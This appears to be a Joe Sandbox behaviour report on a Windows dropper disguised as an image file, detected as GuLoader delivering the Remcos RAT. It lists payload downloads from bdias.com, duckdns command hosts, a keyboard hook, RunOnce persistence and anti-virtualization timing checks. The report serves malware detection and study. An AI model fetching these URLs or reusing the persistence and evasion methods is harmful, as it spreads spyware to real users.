Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /zjMSeQNkb41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: bdias.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zjMSeQNkb41.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: bdias.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: bdias.com
Source: global traffic	DNS traffic detected: DNS query: odumegwu.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: odumeje1.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: odumeje.duckdns.org

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890757573.0000000006B60000.00000004.00001000.00020000.00000000.sdmp, IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bdias.com/zjMSeQNkb41.bin
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bdias.com/zjMSeQNkb41.bine
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bdias.com/zjMSeQNkb41.binj
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bdias.com/zjMSeQNkb41.binm
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, Vaskegthed.exe.4.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, Vaskegthed.exe.4.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdias.com/
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdias.com/zjMSeQNkb41.bin
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdias.com/zjMSeQNkb41.bin/
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bdias.com/zjMSeQNkb41.bin2

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown

HTTPS traffic detected: 91.196.125.125:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_0040550F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040550F

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_004033D8 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033D8
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_004033D8 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004033D8

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_004072D1	0_2_004072D1
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_00406AFA	0_2_00406AFA
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_6E331B28	0_2_6E331B28
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_004072D1	4_2_004072D1
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_00406AFA	4_2_00406AFA

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll 014F1DFEB842CF7265A3644BC6903C592ABE9049BFC7396829172D3D72C4D042

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: String function: 00402C5E appears 52 times

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebromhidrosis fasteres.exe4 vs IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000000.2053154636.0000000000443000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamebromhidrosis fasteres.exe4 vs IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Binary or memory string: OriginalFilenamebromhidrosis fasteres.exe4 vs IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@8/2

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_004033D8 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033D8
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_004033D8 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004033D8

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_004047BF GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004047BF

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_00402198 CoCreateInstance,MultiByteToWideChar,

0_2_00402198

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

File created: C:\Users\user\AppData\Roaming\chlorenchyma

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Mutant created: \Sessions\1\BaseNamedObjects\Rmc-3DX9QW

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

File created: C:\Users\user\AppData\Local\Temp\nsr488B.tmp

Jump to behavior

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	ReversingLabs: Detection: 28%
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Virustotal: Detection: 16%

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

File read: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process created: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process created: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"	Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Section loaded: winmm.dll	Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2056638671.000000000433E000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_6E331B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6E331B28

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	File created: C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe			Jump to dropped file
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	File created: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Startup key	Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	API/Special instruction interceptor: Address: 4645339
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	API/Special instruction interceptor: Address: 1B25339

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	RDTSC instruction interceptor: First address: 45E1793 second address: 45E1793 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, dx 0x00000005 jmp 00007F6064C2CF2Fh 0x00000007 cmp ebx, ecx 0x00000009 jc 00007F6064C2CEDEh 0x0000000b cmp eax, ebx 0x0000000d inc ebp 0x0000000e test cl, al 0x00000010 inc ebx 0x00000011 test edi, 0EBC10DBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	RDTSC instruction interceptor: First address: 1AC1793 second address: 1AC1793 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, dx 0x00000005 jmp 00007F6064DE03DFh 0x00000007 cmp ebx, ecx 0x00000009 jc 00007F6064DE038Eh 0x0000000b cmp eax, ebx 0x0000000d inc ebp 0x0000000e test cl, al 0x00000010 inc ebx 0x00000011 test edi, 0EBC10DBh 0x00000017 rdtsc

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Window / User API: threadDelayed 3344

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe TID: 4504

Thread sleep count: 3344 > 30

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Thread sleep count: Count: 3344 delay: -5

Jump to behavior

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_00405A4F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A4F
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_00406620 FindFirstFileA,FindClose,	0_2_00406620
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_00405A4F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405A4F
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_00406620 FindFirstFileA,FindClose,	4_2_00406620
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Code function: 4_2_004027CF FindFirstFileA,	4_2_004027CF

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F3A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	API call chain: ExitProcess graph end node			graph_0-4729
Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	API call chain: ExitProcess graph end node			graph_0-4878

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_6E331B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6E331B28

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Process created: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"

Jump to behavior

Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerD
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerO
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerQW\
